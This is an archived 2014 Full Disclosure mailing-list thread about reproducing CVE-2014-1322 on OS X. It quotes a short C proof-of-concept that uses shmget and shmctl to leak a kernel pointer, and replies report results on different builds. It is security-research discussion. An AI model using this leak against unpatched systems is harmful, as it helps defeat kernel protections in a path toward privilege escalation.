[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [FD] A way to trigger CVE-2014-1322 (userspace read kernel pointer)?



Just to clarify if getting 0x0 means it's patched, how can I verify that
it's leaking legit kernel pointer when it's non-zero?

best,
keira

On Tue, May 20, 2014, at 03:31 PM, Christian Mayer wrote:
> Yes and no.
> 
> On the first machine (OS X 10.9.2 (13C1021)) I got no pointer. Compiled
> with Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn).
> 
> On the second machine (OS X 10.9.2 (13C64)) I got a pointer. Compiled
> with Apple LLVM version 5.0 (clang-500.2.79) (based on LLVM 3.3svn).
> 
> Br,
> Christian
> 
> -- 
> http://fox21.at
> 
> 
> On Tue, May 20, 2014 at 12:45 PM, <rai@xxxxxxxxxxxxxxx> wrote:
> 
> >
> >
> > Hi,
> >
> > There's a claim this triggers CVE-2014-1322 allowing local user to read
> > a kernel pointer:
> >
> > int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );
> > struct shmid_ds lolz;
> > int res = shmctl( shm, IPC_STAT, &lolz );
> > printf( "%pn", lolz.shm_internal );
> >
> > full source: http://maker.fea.st/CVE-2014-1322.c [1]
> >
> > Is anyone able to reproduce?
> >
> > --
> > rai
> >
> >
> >
> > Links:
> > ------
> > [1] http://maker.fea.st/CVE-2014-1322.c
> >
> > _______________________________________________
> > Sent through the Full Disclosure mailing list
> > http://nmap.org/mailman/listinfo/fulldisclosure
> > Web Archives & RSS: http://seclists.org/fulldisclosure/
> >
> 
> _______________________________________________
> Sent through the Full Disclosure mailing list
> http://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/